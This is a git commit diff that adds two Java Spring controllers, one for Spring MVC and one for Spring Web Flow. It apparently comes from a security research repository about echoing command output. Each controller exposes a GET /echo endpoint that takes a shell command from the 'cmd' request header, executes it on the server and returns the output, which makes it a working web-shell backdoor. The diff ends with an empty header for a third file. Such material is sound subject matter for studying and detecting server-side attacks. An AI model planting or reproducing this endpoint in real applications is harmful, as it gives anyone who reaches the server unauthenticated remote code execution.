modify spring echo

feihong · feihong · commit d07100e7f81c · 2020-06-29T16:23:21.000+08:00
diff --git a/Spring/code/SpringMVCTestController.java b/Spring/code/SpringMVCTestController.java
@@ -0,0 +1,35 @@
+package com.management.controller;
+
+import com.management.bean.User;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.ResponseBody;
+import java.io.*;
+
+@Controller
+public class SpringMVCTestController {
+
+    @ResponseBody
+    @RequestMapping(value="/echo", method = RequestMethod.GET)
+    public User Test() throws IOException {
+
+        org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
+        javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
+        javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
+
+        String cmd = httprequest.getHeader("cmd");
+        java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
+
+        StringBuilder sb = new StringBuilder();
+        String line;
+        while((line = br.readLine()) != null){
+            sb.append(line + "\n");
+        }
+
+        br.close();
+        httpresponse.getWriter().println(sb.toString());
+
+        return new User();
+    }
+}
diff --git a/Spring/code/SpringWebFlowTestController.java b/Spring/code/SpringWebFlowTestController.java
@@ -0,0 +1,36 @@
+package com.pizza;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import java.io.IOException;
+
+@Controller
+public class SpringWebFlowTestController {
+
+    @GetMapping("/")
+    public String redirectToFlow() {
+        return "redirect:/pizza";
+    }
+
+    @GetMapping("/echo")
+    public String test() throws IOException {
+
+        org.springframework.webflow.context.servlet.ServletExternalContext servletExternalContext = (org.springframework.webflow.context.servlet.ServletExternalContext) org.springframework.webflow.context.ExternalContextHolder.getExternalContext();
+        javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest) servletExternalContext.getNativeRequest();
+        javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse) servletExternalContext.getNativeResponse();
+
+        String cmd = request.getHeader("cmd");
+        java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
+
+        StringBuilder sb = new StringBuilder();
+        String line;
+        while((line = br.readLine()) != null){
+            sb.append(line + "\n");
+        }
+
+        br.close();
+        response.getWriter().println(sb.toString());
+
+        return "test";
+    }
+}
diff --git a/Spring/code/TestController.java b/Spring/code/TestController.java
